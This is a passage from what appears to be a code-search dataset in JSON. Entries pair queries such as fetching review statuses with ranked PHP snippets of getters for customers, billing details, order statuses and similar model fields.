"title": "" }, { "docid": "c3ce3c98bbcb5204e0789022ef10c92c", "score": "0.5194839", "text": "public function getDetails()\n {\n return $this->details;\n }", "title": "" }, { "docid": "c3ce3c98bbcb5204e0789022ef10c92c", "score": "0.5194839", "text": "public function getDetails()\n {\n return $this->details;\n }", "title": "" }, { "docid": "c3ce3c98bbcb5204e0789022ef10c92c", "score": "0.5194839", "text": "public function getDetails()\n {\n return $this->details;\n }", "title": "" }, { "docid": "c3ce3c98bbcb5204e0789022ef10c92c", "score": "0.5194839", "text": "public function getDetails()\n {\n return $this->details;\n }", "title": "" }, { "docid": "7ed5e6f338e7f1c6008105aef23df2ed", "score": "0.5188671", "text": "public function getCloudIdentityInfo()\n {\n return $this->cloud_identity_info;\n }", "title": "" }, { "docid": "23cf959ee2715802ce41da0fc0da7556", "score": "0.5186812", "text": "public function getStoredCardData() {\n\t $tokenId = (int) $this->getInfo()->getAdditionalInformation('token_id');\n\t \n\t if($tokenId && ($tokenId > 0)){\n\t return Mage::getModel('hostedpayments/storedcard')->load($tokenId);\n\t }\n\t return false;\n\t}", "title": "" }, { "docid": "a1fb488b7d6f88e3df4aeb06476a4b05", "score": "0.5178179", "text": "public function getDetails() {\n return $this->details;\n }", "title": "" }, { "docid": "a1fb488b7d6f88e3df4aeb06476a4b05", "score": "0.5178179", "text": "public function getDetails() {\n return $this->details;\n }", "title": "" }, { "docid": "20ac95401a985729528dda5245247f05", "score": "0.51597553", "text": "public function getCustomerPhone()\r\n {\r\n return $this->getParameter('customer_phone');\r\n }", "title": "" }, { "docid": "4d6f77162948a155166343044d562cd2", "score": "0.51556695", "text": "public function getCustomer(): ?Customer\n {\n return $this->customer;\n }", "title": "" }, { "docid": "59188c854e1e76bb9aa45ee9e45e350a", "score": "0.5151411", "text": "public function getConsignmentDetails()\n {\n return $this->consignmentDetails;\n }", "title": "" }, { "docid": "b8eb11319a3a5aed316c2c9b5c74c8be", "score": "0.514935", "text": "public function getCustomerIdentifier(){\n if(isset($this->getData()->customerId)){\n return $this->getData()->customerId;\n }\n if(isset($this->getData()->customerNumber)){\n return $this->getData()->customerNumber;\n }\n return false;\n }", "title": "" }, { "docid": "8becc5ab986e7b4396dd128e3e3082ce", "score": "0.5144313", "text": "public function customerProfile($auth_code = null)\n {\n try {\n $customer = new CustomerVerification();\n $result = $customer->verifyCustomer($auth_code);\n return json_decode($result->getContent(), true);\n //code...\n } catch (Throwable $th) {\n throw $th;\n }\n }", "title": "" }, { "docid": "6af9e702eeaa19b8fe4a712fd9f1c1a8", "score": "0.5139301", "text": "public function getContractorCustomerParty()\n {\n return $this->contractorCustomerParty;\n }", "title": "" }, { "docid": "1a67c15b0c477d01bd0cd463fac2d4ed", "score": "0.5135776", "text": "public function getCustomer();", "title": "" }, { "docid": "b441022fe818b2b09c28a6744ec5574a", "score": "0.5132052", "text": "public function customerId()\n\t{\n\t\treturn $this->invoice['customer_id'];\n\t}", "title": "" }, { "docid": "7a364296dc8696263d0bff32e2b0fc9c", "score": "0.512679", "text": "public function getCustomer()\n {\n if (array_key_exists(\"customer\", $this->_propDict)) {\n if (is_a($this->_propDict[\"customer\"], \"\\Microsoft\\Graph\\Model\\DelegatedAdminRelationshipCustomerParticipant\") || is_null($this->_propDict[\"customer\"])) {\n return $this->_propDict[\"customer\"];\n } else {\n $this->_propDict[\"customer\"] = new DelegatedAdminRelationshipCustomerParticipant($this->_propDict[\"customer\"]);\n return $this->_propDict[\"customer\"];\n }\n }\n return null;\n }", "title": "" }, { "docid": "186b3b550dee9336e70f992470278cfe", "score": "0.51250654", "text": "public function getCustomerOrder()\n {\n return $this->customerOrder;\n }", "title": "" }, { "docid": "1bbf17e53dc7d61eb14ba30d009477f0", "score": "0.5118872", "text": "public function getBillingDetails()\n {\n $data = parent::getCardData();\n\n // Take care of optional data by filtering it out.\n return array_filter([\n 'email' => $data['email'],\n 'name' => $data['name'],\n 'address' => array_filter([\n 'city' => $data['address_city'],\n 'country' => $data['address_country'],\n 'line1' => $data['address_line1'],\n 'line2' => $data['address_line2'],\n 'postal_code' => $data['address_zip'] ?? null,\n 'state' => $data['address_state'],\n ]),\n ]);\n }", "title": "" }, { "docid": "93fa0f84954395135d890a904539edca", "score": "0.5105499", "text": "public function getCustomerClient()\n {\n return $this->customer_client;\n }", "title": "" }, { "docid": "93fa0f84954395135d890a904539edca", "score": "0.5105499", "text": "public function getCustomerClient()\n {\n return $this->customer_client;\n }", "title": "" }, { "docid": "cb35bd1eca64555e4422d3e41e60c671", "score": "0.5105497", "text": "protected function get_customer_id() {\n\n\t\treturn $this->customer_id;\n\t}", "title": "" }, { "docid": "8c4440cc8a041adedf862eebab8dc3a4", "score": "0.5103991", "text": "public function getCustomerId();", "title": "" }, { "docid": "7e4a91ba4c617c69932c82530e8bc466", "score": "0.5099486", "text": "public function getCustomerProfile()\n {\n $params = [\n 'customerProfileId' => $this->getParameter('customerProfileId'),\n 'unmaskExpirationDate' => $this->getParameter('unmaskExpirationDate', 'false'),\n 'includeIssuerInfo' => $this->getParameter('includeIssuerInfo', 'false'),\n ];\n\n return $this->runTransaction('getCustomerProfileRequest', $params);\n }", "title": "" }, { "docid": "ce26abd28a565f04da100294d90ec97d", "score": "0.5097122", "text": "public function getCustomerIp() \n\t{\n\t return $this->customerIp;\n\t}", "title": "" }, { "docid": "3401e05ce628aa4d900a2d294fe5e205", "score": "0.509447", "text": "public function getIdTicketCustomerContact()\n {\n return $this->getIdContact('external', 'SUPPORTCLI');\n }", "title": "" }, { "docid": "344157438357d1be62acf4cecede7ede", "score": "0.5088415", "text": "public function getCustomerId()\n {\n if (is_null($this->customerId)) {\n /** @psalm-var ?string $data */\n $data = $this->raw(self::FIELD_CUSTOMER_ID);\n if (is_null($data)) {\n return null;\n }\n $this->customerId = (string) $data;\n }\n\n return $this->customerId;\n }", "title": "" }, { "docid": "fb5eed429377accd45aafa6ea4caf583", "score": "0.50881827", "text": "public function getCustomerEmail()\n\t{\n\t\treturn $this->customerEmail;\n\t}", "title": "" }, { "docid": "8b9b8b97c9622a76f61da704297c4942", "score": "0.5074593", "text": "public function getExternalDetails(): ?ExternalPaymentDetails\n {\n return $this->externalDetails;\n }", "title": "" }, { "docid": "f4a85499ac6beb69c97cd788355166d7", "score": "0.50607187", "text": "public function getBilling()\n {\n return $this->Billing;\n }", "title": "" }, { "docid": "b87c3902f28b54c8e2d6759d5ac7315d", "score": "0.50580937", "text": "public function getDetailAddress()\n {\n $value = $this->get(self::detail_address);\n return $value === null ? (string)$value : $value;\n }", "title": "" }, { "docid": "e0cb242ec4fc5231561327759069296c", "score": "0.50557965", "text": "public function getCustomerKey()\n {\n return $this->getParameter('customerKey');\n }", "title": "" }, { "docid": "defd2fc1aea6a47403c30f97cf49c114", "score": "0.5053957", "text": "public function getCustomerDetails() {\n $this->load->model(\"account/api\");\n $total_amount_details = $this->model_account_api->getVoucherDetails();\n echo json_encode($total_amount_details);\n }", "title": "" }, { "docid": "d87f8dbb1b000952049de130b4e05764", "score": "0.50443673", "text": "public function getCustomer()\n {\n if (null === $this->_customer && isset($this->customer)) {\n $customers = new Customers();\n $customers->load('customers.xml');\n\n foreach ($customers as $customer) {\n if ($this->customer == $customer->id) {\n $this->_customer = $customer;\n break;\n }\n }\n }\n\n return $this->_customer;\n }", "title": "" }, { "docid": "bc3ab5798e22adaf60dfa23d420ee245", "score": "0.5031783", "text": "public function getDeliveryCity()\n {\n\n return $this->delivery_city;\n }", "title": "" }, { "docid": "5b6ceacbe9f65a3b6e798b6c720d6637", "score": "0.5003584", "text": "public function getCustomerId()\n {\n $value = $this->get(self::customer_id);\n return $value === null ? (integer)$value : $value;\n }", "title": "" } ]
b901f67cf23c3a12cb74ef8cbabe2403
This function is to get all the Review status types
[ { "docid": "b385328b696b98c3622a2840511ce3b0", "score": "0.7020039", "text": "public function getReviewStatus(){\n return array(0=>'Deleted',1=>'Pending',2=>'Approved',3=>'Denied');\n }", "title": "" } ]
[ { "docid": "8b6d75e12f73a7b6a699dd19d1707c66", "score": "0.6736901", "text": "public function getReviewTypes()\n {\n return [$this->insertEmailReviewTable];\n }", "title": "" }, { "docid": "d84cbba22cb97c1e5b632b630cb6b8c5", "score": "0.64766204", "text": "public function getStatusTypes()\n {\n return $this->app['db.utils']->getEnumValues(self::$table_name, 'status');\n }", "title": "" }, { "docid": "9b82dfd30d59a912eac832f45f6c25fe", "score": "0.6289581", "text": "function getReviewTypeMap() {\r\n return $reviewTypeMap = array(\r\n APPROVAL_NOTICE_TYPE_ALL => 'common.all',\r\n REVIEW_TYPE_INITIAL => 'submission.initialReview',\r\n REVIEW_TYPE_PR => 'submission.progressReport',\r\n REVIEW_TYPE_AMENDMENT => 'submission.protocolAmendment',\r\n REVIEW_TYPE_SAE => 'submission.seriousAdverseEvents',\r\n REVIEW_TYPE_FR => 'submission.finalReport'\r\n );\r\n\t}", "title": "" }, { "docid": "e231a8cd0ff27e1320358ee98c629544", "score": "0.60316736", "text": "private function getAllReview($type = 'anime', $page = 1)\n {\n return (new AllReview($type, $page))->getAllInfo();\n }", "title": "" }, { "docid": "c8f077065fd90fca5da2c1ed67f38348", "score": "0.5983315", "text": "public static function getStatuses() {\n return array(\n self::STAT_REQUESTED => 'Requested',\n self::STAT_PENDING => 'Pending',\n self::STAT_ACCEPTED => 'Accepted',\n self::STAT_REJECTED => 'Rejected',\n self::STAT_ACTIVE => 'Active',\n self::STAT_INACTIVE => 'Inactive',\n );\n }", "title": "" }, { "docid": "b11d4af5b97eb6e66aaf241bb0a9d0a5", "score": "0.5976664", "text": "public function get_views() {\n\t\tglobal $post_id, $comment_status, $comment_type, $wpdb;\n\n\t\t// Prepare the base link\n\t\t$link = add_query_arg( 'page', 'reviews', 'admin.php' );\n\n\t\t// Add comment type to the base link\n\t\tif ( ! empty( $comment_type ) && 'all' !== $comment_type ) {\n\t\t\t$link = add_query_arg( 'comment_type', $comment_type, $link );\n\t\t}\n\n\t\t$status_link_labels = $this->get_status_link_labels();\n\n\t\tif ( ! EMPTY_TRASH_DAYS && isset( $status_link_labels['trash'] ) ) {\n\t\t\tunset( $status_link_labels['trash'] );\n\t\t}\n\n\t\t$status_links = array();\n\n\t\t// Prepare status links and counts\n\t\tforeach ( $status_link_labels as $status => $label ) {\n\n\t\t\t$link = add_query_arg( 'comment_status', $status, $link );\n\n\t\t\t// If viewing reviews for a specific product, add that to the link as well\n\t\t\tif ( $post_id ) {\n\t\t\t\t$link = add_query_arg( 'p', absint( $post_id ), $link );\n\t\t\t}\n\n\t\t\t// @see WC_Contribution::$moderation\n\t\t\tif ( 'moderated' === $status ) {\n\t\t\t\t$status = '0';\n\t\t\t} elseif ( 'approved' === $status ) {\n\t\t\t\t$status = '1';\n\t\t\t}\n\n\t\t\t// Get the comment count for current status in loop\n\t\t\t$status_count = wc_count_reviews( 'all', $status );\n\n\t\t\t$class = $status === $comment_status ? ' class=\"current\"' : '';\n\n\t\t\t// Translate and format link\n\t\t\t$status_links[ (string) $status ] = '<a href=\"' . esc_url( $link ) . '\" ' . $class . '>' . sprintf(\n\t\t\t\ttranslate_nooped_plural( $label, $status_count ),\n\t\t\t\tnumber_format_i18n( $status_count )\n\t\t\t) . '</a>';\n\t\t}\n\n\t\t/**\n\t\t * Filter the review status links.\n\t\t *\n\t\t * @param array $status_links An array of fully-formed status links. Default 'All'.\n\t\t * Accepts 'All', 'Pending', 'Approved', 'Spam', and 'Trash'.\n\t\t */\n\t\treturn apply_filters( 'review_status_links', $status_links );\n\t}", "title": "" }, { "docid": "5bc39f5516ce60f93251d9a938005db4", "score": "0.58685887", "text": "public function getReviewsByStatus($order)\n {\n $productReviewRecords = ProductReviewRecord::model()->findAll(array(\n 'order'=>'status '.$order\n ));\n return $productReviewRecords;\n }", "title": "" }, { "docid": "287c3dd7c0a7841ac76dd37d8d507d3d", "score": "0.58327556", "text": "public function getAdminTicketStatuses() {\n $_status = array();\n $_collection = Mage::getModel('supportticket/supportticketstatus')->getCollection();\n $_collection->addFieldToSelect('entity_id');\n $_collection->addFieldToSelect('title');\n foreach ($_collection as $key => $val) {\n $_status[$val['entity_id']] = $val['title'];\n }\n return $_status;\n }", "title": "" }, { "docid": "4febfc6c530fa03c0ee571c14c63ee22", "score": "0.58264154", "text": "public function status() {\n $role = $this->Review->User->Role->find('first', array(\n 'conditions' => array(\n 'Role.user_id' => $this->Auth->user('id'))));\n if($role['RoleType']['name'] == 'reviewer')\n $this->redirect(array('action'=>'manage'));\n \n $coll_ids = $this->Review->User->Role->find('all', array(\n 'conditions'=>array('Role.role_type_id'=>2),\n 'fields'=>array('DISTINCT Role.collection_id')));\n $coll_ids = Set::extract('/Role/collection_id', $coll_ids);\n $review_form_ids = $this->Review->ReviewForm->findAllByCollectionId($coll_ids);\n $review_form_ids = Set::extract('/ReviewForm/id', $review_form_ids);\n $submission_ids = $this->Review->find('all', array(\n 'conditions'=>\n array(\n 'Review.review_form_id' => $review_form_ids,\n 'Review.user_id' => $this->Auth->user('id')\n ),\n array(\n 'fields' => array('Review.submission_id')\n )));\n $submission_ids = Set::extract('/Submission/id', $submission_ids);\n $submissions = $this->Review->Submission->find('all', array(\n 'conditions'=>array('Submission.id'=>$submission_ids)));\n $reviews = $this->Review->find('all', array(\n 'conditions'=>array(\n 'Review.submission_id' => $submission_ids,\n 'Review.user_id NOT' => $this->Auth->user('id')),\n 'order'=>array('Review.id', 'Review.user_id')));\n $this->set('reviews', $reviews); \n\n $papers = Set::combine($reviews, '{n}.Review.id', '{n}', '{n}.Submission.slug');\n $titles = Set::combine($reviews, '{n}.Submission.slug', '{n}.Submission.title');\n $review_form_id = Set::extract('/ReviewForm/id', $reviews);\n\n $questions = $this->Review->ReviewForm->Question->find('count', array(\n 'conditions' => array('Question.review_form_id' => $review_form_id)));\n\n $authors = Set::combine($submissions, '{n}.Submission.slug', '{n}.User');\n\n $metareviews = $this->Review->Submission->Metareview->find('all');\n $metareviews = Set::combine($metareviews, \n '{n}.Submission.slug',\n '{n}.Metareview');\n $question = $this->Review->ReviewForm->Question->findById(34);\n \n $this->set('questions', $questions); \n $this->set('papers', $papers);\n $this->set('titles', $titles);\n $this->set('authors', $authors);\n $this->set('metareviews', $metareviews);\n $this->set('question', $question);\n }", "title": "" }, { "docid": "d6d09ab54075a86fe1603795edd72d5f", "score": "0.57952625", "text": "public function getStatuses()\n {\n return $this->statuses;\n }", "title": "" }, { "docid": "e5e14dffd513bd5e0b7a026354fbcb02", "score": "0.5782225", "text": "public function getTicketStatuses() {\n $_collection = Mage::getModel('supportticket/supportticketstatus')->getCollection();\n\n $_status = array();\n foreach ($_collection as $values) {\n if ($values['ticket_status'] == 1) {\n $_status[] = array('value' => $values['entity_id'], 'label' => $values['title']);\n }\n }\n return $_status;\n }", "title": "" }, { "docid": "86cc0c40901bfb99718ffc2315ffefb7", "score": "0.57670414", "text": "public static function getStatuses()\n {\n return [\n self::STATUS_QUESTION_DEFAULT => \"Default\",\n self::STATUS_QUESTION_UPLOAD => \"Uploaded\",\n self::STATUS_QUESTION_ERROR => \"Error\",\n self::STATUS_QUESTION_PUBLIC => \"Public\",\n ];\n }", "title": "" }, { "docid": "a0d7d73739835eaeab785ddbae63d90f", "score": "0.5749929", "text": "public function getStatuses()\n {\n $queryBuilder = new Query();\n $statuses = $queryBuilder\n ->select([\n 'id_status',\n 'status_name'\n ])\n ->from('order_status')\n ->all();\n\n return $statuses;\n }", "title": "" }, { "docid": "a65831e7d9b5d50f2e2e7ba59236c377", "score": "0.5738301", "text": "public function statuses() {\n $statuses = array();\n foreach (Zuha::enum('ORDER_ITEM_STATUS') as $status) {\n $statuses[Inflector::underscore($status)] = $status;\n }\n return Set::merge(array('incart' => 'In Cart', 'paid' => 'Paid', 'partial'=>'Partially Paid', 'shipped' => 'Shipped', 'used' => 'Used', 'canceled'=>'Canceled'), $statuses);\n }", "title": "" }, { "docid": "21efa07aa24d442cfd2498e1b4fcc8ef", "score": "0.5731822", "text": "public function getStatusesList()\n {\n return array(1 => 'Active', 2 => 'Hidden');\n }", "title": "" }, { "docid": "fc91f8953d0a50358cb8e77306a49250", "score": "0.57289267", "text": "public function getAllStatusesForSelect() {\n\t\t$statuses = $this->getAllStatuses();\n\t\t$new_statuses = array();\n\t\tforeach($statuses as $status) {\n\t\t\t$new_statuses[$status['DrexCartOrderStatus']['id']] = $status['DrexCartOrderStatus']['status_name'];\n\t\t}\n\t\treturn $new_statuses;\n\t}", "title": "" }, { "docid": "e35f558e05ffbe75c016a99f141ea0d4", "score": "0.571159", "text": "function project_get_view_statuses() {\n\n\t$view_statuses = array('Enabled', 'Disabled');\n\n\treturn $view_statuses;\n}", "title": "" }, { "docid": "ad1f3b53a5aad70933d2ccd97b8a5685", "score": "0.57068485", "text": "public function toArray()\n {\n $orderStatusCollection = Mage::getModel('sales/order_status')->getResourceCollection()->getData();\n $status = array();\n foreach($orderStatusCollection as $orderStatus) {\n if (!in_array($orderStatus['status'], array('canceled','closed','complete','fraud','paypal_reversed','pending_paypal','paypal_canceled_reversal','payment_review'))) {\n $status[] = array (\n $orderStatus['status'] => $orderStatus['label']\n );\n }\n } \n return $status;\n }", "title": "" }, { "docid": "15177de78de40e748aecb840a62461e0", "score": "0.56447315", "text": "function getStatuses() {\n\t\tif (!$this->statuses) {\n\t\t\t$this->statuses = db_query_params('SELECT * FROM project_status',\n\t\t\t\t\t\t\t array());\n\t\t}\n\t\treturn $this->statuses;\n\t}", "title": "" }, { "docid": "1dda53d489076c3dd7cc146d1c729ea0", "score": "0.56409866", "text": "public static function getReviewsOfType($type) {\n $innerQuery = new SelectQuery(\"chargers\", \"charger_id\");\n $innerQuery->where(Where::whereEqualValue(\"type\", DBValue::stringValue($type)));\n $table1 = new QueriedJoinTable($innerQuery, \"results1\", \"charger_id\");\n $table2 = new DBJoinTable(\"reviews\", \"charger_id\");\n $table2->addParams(\"charger_id\", \"review_id\", \"link\", \"reviewer\", \"email\", \"rating\", \"review_date\",\n \"ttn_id\");\n $joinQuery = new InnerJoin($table1, $table2);\n $results = DBQuerrier::defaultQuery($joinQuery);\n $reviews = array();\n while ($row = @ mysqli_fetch_array($results)) {\n array_push($reviews, new ChargerReview($row['review_id'],\n self::getChargerByIdOfType($row['charger_id'], $type), $row['link'],\n $row['reviewer'], $row['email'], $row['rating'], $row['review_date'], $row['ttn_episode']));\n }\n return $reviews;\n }", "title": "" }, { "docid": "013f98dbe70010fc41425a626bdb3b56", "score": "0.5639331", "text": "public function getStatusList() {\n $models = Status::find()->asArray()->all();\n return ArrayHelper::map($models, 'id', 'name');\n }", "title": "" }, { "docid": "31bb59aa59bdf5f29e53354c806af188", "score": "0.5638858", "text": "public function getPaymentStatuses();", "title": "" }, { "docid": "94efd5a28d514027ddff5c671b230e86", "score": "0.56304485", "text": "function fn_get_all_product_statuses($lang_code = CART_LANGUAGE)\n{\n $statuses = fn_get_default_statuses('', true, $lang_code);\n\n /**\n * Executes after product statuses list is obtained, allows you to add or remove product statuses from it\n *\n * @param string $lang_code Two-letter language code\n * @param string[] $statuses Product statuses\n */\n fn_set_hook('get_all_product_statuses_post', $lang_code, $statuses);\n\n return $statuses;\n}", "title": "" }, { "docid": "25e07ae2f56f02d99bd328a9fd97b9cc", "score": "0.56174695", "text": "public function getOrderStatuses();", "title": "" }, { "docid": "26db8957a16de85c43e97a6227f5912c", "score": "0.5577685", "text": "public function getDocTypesInProcess()\n {\n $documents = $this->documents()->whereNull('rejected_by')->whereApproved(false)->get();\n $types = [];\n foreach ($documents as $doc) {\n $types[] = $doc->type->name;\n }\n\n return collect($types)->unique();\n }", "title": "" }, { "docid": "34ec12771183abcfcf91966cfe1bda27", "score": "0.5553423", "text": "public function getAllStatuses () {\n $theStatuses = STATUSES;\n try {\n $em = $this->doctrine->em;\n $statuses = $em->getRepository('\\Entity\\Config')->findBy(array('key' => 'STATUS'));\n foreach ($statuses as $status) {\n array_push($theStatuses, $status->getValue());\n }\n } catch (Exception $e) {\n throw $e;\n }\n return $theStatuses;\n }", "title": "" }, { "docid": "8d2add434cde9153bf2369a9f983e95e", "score": "0.5530415", "text": "protected function _get_card_types()\n\t{\n\t\treturn mod('card_type')->get_list(array('status' => 1));\n\t}", "title": "" }, { "docid": "d22dd009145ab8cdc4ae48404798c298", "score": "0.5524023", "text": "public function lists()\n {\n return $this->statuses;\n }", "title": "" }, { "docid": "08de404209f6d86596f78d4c7054d546", "score": "0.5522202", "text": "public function getAll()\n {\n $review = ModelReviewRestaurants::with('restaurant')->get();\n return $review;\n }", "title": "" }, { "docid": "d859cdec4665b6775f6abe19a734c787", "score": "0.55169314", "text": "public static function get_status_list($userid) {\n $status = array();\n if (self::can_manage_user_draft($userid)) {\n $status[self::STATUS_DRAFT] = get_string('planstatusdraft', 'tool_lp');\n }\n if (self::can_manage_user($userid)) {\n $status[self::STATUS_ACTIVE] = get_string('planstatusactive', 'tool_lp');\n }\n return $status;\n }", "title": "" }, { "docid": "acbe42a76b235aa2eaa18cea61a255be", "score": "0.5507516", "text": "private function statuses_list(){\n return Status::whereIn('id', [3,4,5])->get();\n }", "title": "" }, { "docid": "d34825bb52d8e735ffc793dc1db2408c", "score": "0.55029446", "text": "function hrb_get_project_statuses_verbiages( $status = '' ) {\n\n\t$verbiages = array(\n\t\t'publish'\t=> __( 'Open for Proposals', APP_TD ),\n\t\t'draft'\t\t=> __( 'Incomplete Draft', APP_TD ),\n\t\t'pending'\t=> __( 'Pending Moderation', APP_TD ),\n\t\tHRB_PROJECT_STATUS_WAITING_FUNDS\t=> __( 'Waiting Funds', APP_TD ),\n\t\tHRB_PROJECT_STATUS_TERMS\t\t\t=> __( 'Discussing Agreement', APP_TD ),\n\t\tHRB_PROJECT_STATUS_CANCELED_TERMS\t=> __( 'Agreement Canceled', APP_TD ),\n\t\tHRB_PROJECT_STATUS_WORKING\t\t\t=> __( 'In Development', APP_TD ),\n\t\tHRB_PROJECT_STATUS_CANCELED\t\t\t=> __( 'Canceled', APP_TD ),\n\t\tHRB_PROJECT_STATUS_CLOSED_COMPLETED\t=> __( 'Completed', APP_TD ),\n\t\tHRB_PROJECT_STATUS_CLOSED_INCOMPLETE=> __( 'Incomplete', APP_TD ),\n\t\tHRB_PROJECT_STATUS_EXPIRED\t\t\t=> __( 'Expired', APP_TD ),\n\t\tHRB_PROJECT_META_STATUS_ARCHIVED\t=> __( 'Archived', APP_TD ),\n\t);\n\n\treturn hrb_get_verbiage_values( $verbiages, $status );\n}", "title": "" }, { "docid": "10f66f9445a594a4b744aabe4da423da", "score": "0.5495413", "text": "public static function get_post_statuses($type = self::SITEMAP_INDEX_TYPE)\n {\n }", "title": "" }, { "docid": "5a9570f6f9221b7a494fd60064d29a95", "score": "0.54886985", "text": "public static function getStatusList()\n {\n $droptions = Status::find()->asArray()->all();\n return ArrayHelper::map($droptions, 'id', 'status_name');\n }", "title": "" }, { "docid": "ad33625f231a1d49e44c1f7a1d04ddea", "score": "0.54809946", "text": "function QUESTIONNAIRE_STATUS($survey_id, $reviewer_id, $reviewee_id) {\r\n\r\n\t\t$answers = $this->ANSWERS($survey_id, $reviewer_id, $reviewee_id);\r\n\r\n\t\t$status = \"published\";\r\n\r\n\t\tif ($answers) {\r\n\r\n\t\t\tforeach ($answers as $answer) {\r\n\t\t\t\t\r\n\t\t\t\tif($answer->status == \"flagged\") {\r\n\t\t\t\t\t$status = \"flagged\";\r\n\t\t\t\t\tbreak; // once we find a flag then we break;\r\n\t\t\t\t\r\n\t\t\t\t} else if ($answer->status == \"draft\") {\r\n\t\t\t\t\t$status = \"draft\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t} else {\r\n\t\t\t$status = null;\r\n\t\t}\r\n\r\n\t\treturn $status;\r\n\t}", "title": "" }, { "docid": "09fab6177d947d8021b89148084a828c", "score": "0.548086", "text": "public static function defaultStatuses()\n {\n return [\n static::STATUS_PENDING => StringHelper::upperCaseFirst(self::STATUS_PENDING),\n ];\n }", "title": "" }, { "docid": "998ab2c02e0b7ae33115c6f069dbde3a", "score": "0.54801816", "text": "function getStatusList(){\n return array(TICKET_STATUS_CLOSED => SHIN_Core::$_language->line('lng_label_ticket_status_closed'),\n TICKET_STATUS_ARCHIVE => SHIN_Core::$_language->line('lng_label_ticket_status_archive'),\n TICKET_STATUS_ASSIGNED_TO_CUSTOMER => SHIN_Core::$_language->line('lng_label_ticket_status_ascustomer'),\n TICKET_STATUS_ASSIGNED_TO_SUPPORT => SHIN_Core::$_language->line('lng_label_ticket_status_assupport'));\n }", "title": "" }, { "docid": "f31ee5c9f740723d2f39884b4638c074", "score": "0.54757667", "text": "public function getTypes();", "title": "" }, { "docid": "f31ee5c9f740723d2f39884b4638c074", "score": "0.54757667", "text": "public function getTypes();", "title": "" }, { "docid": "f31ee5c9f740723d2f39884b4638c074", "score": "0.54757667", "text": "public function getTypes();", "title": "" }, { "docid": "7623b5bed698b8ebb8cddeb06cab7d85", "score": "0.5467634", "text": "private function _getStatusIds($status_type)\n\t{\n\t\t$this->_dbConnect();\n\t\t$s_type = $this->sql->Escape_String($status_type);\n\t\t$return = array();\n\t\t$query = \"\n\t\t\tSELECT\n\t\t\t\tdispatch_status_id \n\t\t\tFROM\n\t\t\t\tdispatch_status\n\t\t\tWHERE\n\t\t\t\ttype = '$s_type'\n\t\t\";\n\t\ttry \n\t\t{\n\t\t\t$res = $this->sql->Query($query);\n\t\t\twhile($row = $res->Fetch_Object_Row())\n\t\t\t{\n\t\t\t\t$return[] = $row->dispatch_status_id;\n\t\t\t}\n\t\t\treturn $return;\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\tReported_Exception::Report($e);\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "fc8412d979b55c597c6469992328a467", "score": "0.5445533", "text": "function get_review_type ($review_ID=0) {\n\t$review = get_post($review_ID);\n\t$review->review_type = (in_array($review->ID, get_post_meta($review->post_parent, 'ml_official_review'))) ? 'official' : 'review';\n\n\treturn apply_filters('get_review_type', $review->review_type);\n}", "title": "" }, { "docid": "78b409f9a26c670a60d718d4f874779d", "score": "0.54383355", "text": "public function getStoreOrderStatuses();", "title": "" }, { "docid": "5d847a2880dc48fcff751949ba99930f", "score": "0.5438281", "text": "static function getAllTypes() {\n\t\treturn array(self::TYPE_UNKNOWN=>'Unknown',self::TYPE_MASTERCARD=>'Mastercard',self::TYPE_VISA=>'Visa',self::TYPE_AMEX=>'American Express',self::TYPE_DISCOVER=>'Discover',self::TYPE_DINERS=>'Diners Club',self::TYPE_PAYPAL=>'PayPal');\n\t}", "title": "" }, { "docid": "9235bad70c1ffe87ec89839fb74c37e4", "score": "0.5436222", "text": "public function getStatusValuesForForm()\n {\n $enums = $this->app['db.utils']->getEnumValues(self::$table_name, 'import_status');\n $result = array();\n foreach ($enums as $enum) {\n if ($enum == 'DELETED') {\n continue;\n }\n $result[$enum] = $enum;\n }\n return $result;\n }", "title": "" }, { "docid": "66e1ff45e0681ecb749b7c8c1ddf860a", "score": "0.5433667", "text": "static function getStatusList() {\n return [\n self::STATUS_ACTIVE => 'Yes/Active', self::STATUS_INACTIVE => 'No/In-Active'\n ];\n }", "title": "" }, { "docid": "a546cd0f5d2d0ed5e9fe299f83149119", "score": "0.54329026", "text": "public function getStatusTypeId(){\n\t\treturn $this->statusTypeId;\n\t}", "title": "" }, { "docid": "5dadc0994322bb7a91640f2514187c56", "score": "0.54317933", "text": "public function get_type_list()\n\t{\n\t $type_list = array();\n\t $this->db->select('id,type')->from('experiment_type');\n\t $query = $this->db->get();\n\t if($query->num_rows() > 0)\n\t {\n\t foreach ($query->result() as $row)\n\t {\n\t $type_list[$row->id] = $row->type;\n\t }\n\t }\n\t return $type_list;\n\t}", "title": "" }, { "docid": "57ec424f7f6bed1065e16c1d05ec71e8", "score": "0.5423229", "text": "function project_get_statuses() {\n\n\t$statuses = array('Development', 'Production Support', 'Stable', 'Obsolete', '');\n\n\treturn $statuses;\n}", "title": "" }, { "docid": "4dfb039bc4f5cef9169f38af061124c9", "score": "0.5415974", "text": "public function getStatuses()\n {\n $request = new HttpRequest('/statuses', []);\n return $this->httpSender->sendPostRequest($request);\n }", "title": "" }, { "docid": "3875d89d81b24600a9a21f30da6933e8", "score": "0.54102963", "text": "public static function getJournalTypes()\n {\n \treturn JournalType::orderBy('type','asc')\n ->get();\n }", "title": "" }, { "docid": "b87b0f437259902bff9f041efc57baab", "score": "0.54095715", "text": "public function getStatuses(): array\n {\n $array = [\n self::STATUS_ACTIVE => Yii::t('article', 'active'),\n self::STATUS_DISABLE => Yii::t('article', 'disable'),\n ];\n return $array;\n }", "title": "" }, { "docid": "771d385f710fe214681166ea303f3129", "score": "0.54074603", "text": "public function RetrieveAllStatuses($Payload){\n\t\t\tif(empty($Payload['id'])){\n\t\t\t\tthrow new Exception('id can not be empty.');\n\t\t\t}\n\t\t\t$Payload['Verb']='GET';\n\t\t\t$Payload['URL']='/V1/orders/'.$Payload['id'].'/statuses';\n\t\t\treturn $this->Execute($Payload);\n\t\t}", "title": "" }, { "docid": "a4c84be763e0caf76d9f90011fcb4206", "score": "0.5405441", "text": "public function scopes()\n {\n return array(\n 'flagged' => array(\n 'condition' => 'flagged = :flagged',\n 'params' => array(':flagged' => self::STATUS_FLAGGED),\n ),\n 'notFlagged' => array(\n 'condition' => 'flagged != :flagged',\n 'params' => array(':flagged' => self::STATUS_FLAGGED),\n ),\n 'owner' => array(\n 'condition' => 'fromOwner = :flag',\n 'params' => array(':flag' => self::STATUS_FROM_OWNER),\n ),\n 'notOwner' => array(\n 'condition' => 'fromOwner != :flag',\n 'params' => array(':flag' => 